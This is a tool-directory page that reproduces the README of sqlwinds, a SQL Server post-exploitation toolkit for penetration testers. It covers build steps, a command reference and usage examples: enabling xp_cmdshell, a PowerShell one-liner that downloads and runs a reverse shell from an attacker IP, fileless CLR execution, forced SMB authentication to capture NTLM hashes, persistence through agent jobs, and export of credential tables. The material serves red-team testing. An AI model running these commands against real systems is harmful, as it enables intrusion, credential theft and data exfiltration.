Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
sqlwinds — SQLWinds - SQL Server Security Assessment & Post-Exploitation Toolkit | Kitploit
Tools/GitHubGitHub/blue0x1/sqlwinds
Privilege EscalationPersistence MechanismsExploitationLateral MovementConfiguration AuditingData ExfiltrationPost-ExploitationPenetration TestingRed TeamingDatabase Security
GitHubblue0x1/sqlwinds
11 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

sqlwinds

SQLWinds - SQL Server Security Assessment & Post-Exploitation Toolkit

View Repository

SQLWinds

SQL Security Assessment & Post-Exploitation Toolkit

SQLWinds is a command-line tool for security testing and exploiting Microsoft SQL Server. It provides an interactive environment to deeply analyze servers, escalate privileges, execute attacks, and pivot through networks all with specialized commands for tasks like in-memory code execution and SCCM database exploration.


SQLWinds


📖 Documentation & Resources

Wiki Issues Releases

Quick Links:

  • Full Documentation & Wiki - Complete usage guide and command reference
  • Report an Issue - Found a bug or have a feature request?
  • Latest Release - Download the newest version

Features

  • Diverse Authentication: Supports SQL, Windows Integrated (--integrated), and Kerberos delegation (--kerberos with --user/--pass).
  • Comprehensive Enumeration:
    • Server info, databases, tables, columns, users, and permissions.
    • Security configuration audit (xp_cmdshell, CLR, OLE, etc.).
    • Sensitive data discovery and secret extraction.
    • Linked server enumeration and exploitation.
  • Post-Exploitation & Lateral Movement:
    • Code Execution: Enable and use xp_cmdshell, OLE Automation Procedures (sp_oacreate), and CLR integration.
    • In-Memory CLR: Load and execute .NET assemblies directly from memory without dropping files to disk (:memclr).
    • Credential Theft: Force SMB authentication to a UNC path for relay attacks (:unc_smb).
    • Registry Interaction: Read registry keys and values via xp_regread.
    • Persistence: Create, list, and execute SQL Agent Jobs.
    • Data Exfiltration: Upload/download files and export query results to CSV/JSON.

Installation & Compilation

Quick Build

The repository includes a build.bat script for easy compilation on Windows:

root@kitploit:~
.\build.bat

The compiled SQLWinds.exe executable will be placed in the bin\Release\ directory.

Manual Build

  1. Ensure you have the .NET Framework (≥ 4.6.1) or .NET SDK installed.
  2. Clone the repository:
    root@kitploit:~
    git clone https://github.com/blue0x1/sqlwinds.git
    cd sqlwinds
    
  3. Compile the solution:
    root@kitploit:~
    msbuild SQLWinds.sln /p:Configuration=Release
    

Usage

Basic Connection

root@kitploit:~
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

Common Command-Line Options

Interactive REPL Mode

root@kitploit:~
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

Complete REPL Command Reference

Example: Using :plain for Large Scripts

The :plain command is essential for executing large, multi-line SQL scripts.

root@kitploit:~
sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
  1. Type :plain and press Enter.
  2. Paste or type your complete SQL script.
  3. On a new line, type :execute to run the entire script or :cancel to abort.

Examples

1. Audit

root@kitploit:~
SQLWinds.exe --server dc01 --integrated --security-audit 

2. Leveraging xp_cmdshell for Code Execution

root@kitploit:~
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. In-Memory CLR Execution (Fileless)

root@kitploit:~
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. Stealing NetNTLMv2 Hashes via SRelay

root@kitploit:~
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. SCCM Database Exploitation

root@kitploit:~
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. Data Exfiltration

root@kitploit:~
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 Contributing & Support

We welcome contributions! If you have ideas for improvements or find any issues:

  1. Check the Wiki for documentation
  2. Search existing Issues to avoid duplicates
  3. Create a new issue with detailed information about your suggestion or bug report

⚠️ Disclaimer

This tool is intended for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The developers assume no liability and are not responsible for any misuse or damage caused by this program.


Credits

Developed by blue0x1.

Download Tool
  • SCCM Database Interaction: (If the target database is SCCM)
    • Detect SCCM and report version/site info.
    • Inventory hardware, software, collections, and deployments.
    • Perform SCCM-specific security audits.
  • Kerberos Analysis: Check Active Directory for SPNs associated with the target to troubleshoot Kerberos authentication.
  • Instance Discovery: Enumerate SQL Server instances available on the domain.
  • Advanced REPL: Interactive environment with auto-completion and command history.
  • OptionDescription
    --serverTarget server (IP, hostname, instance). Required.
    --user, --passCredentials for SQL or Windows auth.
    --integratedUse current Windows token for authentication.
    --kerberosUse Kerberos authentication flow.
    --spn-checkCheck AD for SPNs for the target host.
    --run-cmd "<SQL>"Execute a single SQL command and exit.
    --run-file file.sqlExecute a SQL script from a file and exit.
    --infoGather and display extensive server information.
    --getinstanceDiscover SQL instances in the domain and exit.
    --list-dbsList databases and exit.
    --security-auditPerform security audit and exit.
    CommandDescriptionExample
    :infoShow detailed server information:info
    :dbsList all databases with details:dbs
    :tables [db] [schema]List tables in database/schema:tables master dbo
    :columns <table> [schema] [db]List columns for a table:columns Users dbo MyDatabase
    :usersList all SQL logins and database users:users
    :permsShow current user permissions:perms
    :auditPerform security configuration audit:audit
    :search [term]Search for sensitive data:search password
    :secretsExtract potential secrets:secrets
    :servicesShow SQL Server service accounts:services
    :spnCheck SPNs for the target host:spn
    :enable_xp_cmdshellEnable xp_cmdshell:enable_xp_cmdshell
    :disable_xp_cmdshellDisable xp_cmdshell:disable_xp_cmdshell
    :xp <command>Run OS command via xp_cmdshell:xp whoami
    :enable_oleEnable OLE Automation:enable_ole
    :disable_oleDisable OLE Automation:disable_ole
    :ole_cmd <command>Run OS command via OLE:ole_cmd "calc.exe"
    :enable_clrEnable CLR integration:enable_clr
    :disable_clrDisable CLR integration:disable_clr
    :deploy-clr <path>Deploy CLR assembly from file:deploy-clr C:\Tools\cmd.dll
    :list-assembliesList deployed CLR assemblies:list-assemblies
    :clr_execExecute a CLR method:clr_exec MyAssembly MyClass Method arg1
    :memclrExecute CLR assembly from memory:memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg"
    :remove-assembly <name>Remove a CLR assembly:remove-assembly MyAssembly
    :list_linkserversList linked servers:list_linkservers
    :linkrpc <srv> <cmd>Execute command via linked server:linkrpc LINKEDSRV "whoami"
    :impersonate <login>Impersonate a SQL login:impersonate sa
    :revertRevert security context:revert
    :agent_jobManage SQL Agent jobs:agent_job create MyJob "whoami"
    :ls [path]List directory via SQL:ls C:\Windows\Temp
    :unc_smb <path>Force SMB auth to UNC:unc_smb \\192.168.1.100\share
    :plainPaste large SQL scripts(See example below)
    :regreadRead registry value:regread HKEY_LOCAL_MACHINE Software\Microsoft value
    :regread_allList all values in a key:regread_all HKEY_LOCAL_MACHINE Software\Microsoft
    :uploadUpload file to table:upload C:\file.txt MyTable
    :downloadDownload binary from query:download "SELECT file FROM blobs" out.bin
    :exportcsvExport query to CSV:exportcsv "SELECT * FROM users" out.csv
    :exportjsonExport query to JSON:exportjson "SELECT * FROM users" out.json
    :sccm_infoDetect SCCM database:sccm_info
    :sccm_inventoryShow SCCM inventory:sccm_inventory
    :sccm_collectionsList SCCM collections:sccm_collections "All Systems"
    :sccm_deploymentsShow deployments:sccm_deployments
    :sccm_clientsList clients:sccm_clients inactive
    :sccm_auditSCCM security audit:sccm_audit
    :sccm_applicationShow app details:sccm_application "Google Chrome"
    helpShow helphelp
    exitExit the REPLexit